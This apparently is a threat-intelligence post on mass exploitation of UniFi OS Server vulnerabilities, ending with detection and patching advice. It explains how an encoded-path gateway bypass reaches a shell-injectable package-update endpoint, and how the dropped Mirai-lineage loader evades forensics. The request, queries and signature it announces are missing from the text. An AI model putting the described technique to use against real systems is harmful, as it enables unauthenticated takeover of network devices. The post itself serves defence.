From One HTTP Request to a Botnet Implant: Anatomy of a UniFi OS Server Compromise in the Wild

On 21 May 2026, Ubiquiti published security advisory SAB-064, covering five UniFi OS issues. Three of them are rated CVSS 10.0 — and that score is per-vulnerability, not for some combined effect. Each is a complete critical on its own: an access-control flaw that permits unauthorised changes, a path traversal that exposes the underlying filesystem, and a command injection in the package-update service that yields code execution. Ubiquiti scored them individually; the advisory did not even frame them as a chain. Public proof-of-concept and detection tooling followed within days, and we are now seeing opportunistic mass-exploitation.

What makes the request below so dangerous is that it combines two of those flaws to reach RCE with no credentials at all. UniFi OS fronts its services with nginx, which decides whether a request is public by inspecting the raw URI, but routes the request to a backend using the normalised URI. An attacker exploits that mismatch: a path that looks public in its encoded form is routed, after decoding, to an authenticated internal endpoint. That endpoint — the package-update service — passes a caller-supplied package name into a shell command with no validation. (Reached with a valid token, that same injection is tracked separately as CVE-2026-33000; reached without one, via the gateway bypass, it is CVE-2026-34910.) Inject shell metacharacters into the package name and you have unauthenticated command execution.

Here is the request we captured, URL-decoded for readability:

Two details matter for hunting. The by_cmd=true parameter is what triggers the server-side shell-out. And the argument unifi.exploit passed to the dropped file is an infection-vector tag — the operator uses it to track which exploit produced each new bot. That tag tells you this is one campaign inside a larger multi-exploit operation.

The dropped zok is a shell loader, not the bot itself. Pulled from the staging host, it iterates a list of CPU architectures and tries to fetch and run a matching binary for each. Whichever build matches the victim’s processor executes; the rest fail harmlessly. This brute-force-every-arch behaviour is the signature of a Mirai/Gafgyt lineage spreader.

Three behaviours to note for detection:

• TFTP fallback. Beyond HTTP, the loader will use TFTP (UDP 69) where wget/curl are absent. Add UDP 69 egress to your monitoring — it is unusual on most networks.
• Anti-forensics. The file is deleted while the process keeps running. The on-disk footprint is minimal; your host hunt has to look at running processes backed by deleted executables, not at the filesystem.
• Masquerade. The output file is named cron.azsxd to look like a scheduled-task artifact.

We pulled the x86-64 build and analysed it statically — no execution. It is a lean (67 KB) statically-linked, stripped ELF with the .ctors/.dtors layout and encoded-string table characteristic of the Mirai family. Cleartext markers x86 and 2.0 in the binary identify the build as azsxd v2.0.

The configuration — including the command-and-control address — is held in a per-string obfuscated table and decoded at runtime, so it is not recoverable by simple string extraction or trivial XOR. The C2 socket descriptor is referenced throughout the binary’s tasking loop. To recover the live C2 endpoint, detonate the sample in an isolated sandbox with a network sinkhole and capture the outbound connect(); the bot decodes its own config for you.

The exploit request has a recognisable shape: the /api/auth/validate-sso/ prefix alongside encoded traversal, hitting the package-update route with shell metacharacters. Pair that with egress to the staging host over HTTP and TFTP.

Because the loader unlinks the implant while it runs, the highest-fidelity host signal is a running process backed by a deleted executable. On any reachable Linux or UniFi OS host:

If you forward UniFi or perimeter logs (syslog/CEF) into Microsoft Sentinel, the exploit request is detectable on the URI pattern. The second query catches the loader’s download chain on endpoints reporting to Defender.

The implant’s configuration table contains a distinctive 22-byte record repeated three times. That, plus the build markers and a tight file-size bound, makes a precise signature.

• Patch. Update UniFi OS Server to 5.0.8 or later. Confirm the update lands on a host that has not already been compromised.
• Triage exposure. Any internet-reachable UniFi OS Server on 5.0.6 or earlier should be treated as an active-exploitation priority, not a routine patch.
• If reached: assume compromise. Rotate the JWT signing key, TLS keys, cloud tokens, RADIUS/WiFi/VPN secrets and database credentials, force-logout all sessions, then reboot.
• Hunt with the detections above across the estate, and pull any recovered implant in a sandbox to extract the live C2 and the full exploit set it carries — that reveals every other device class this operator is targeting.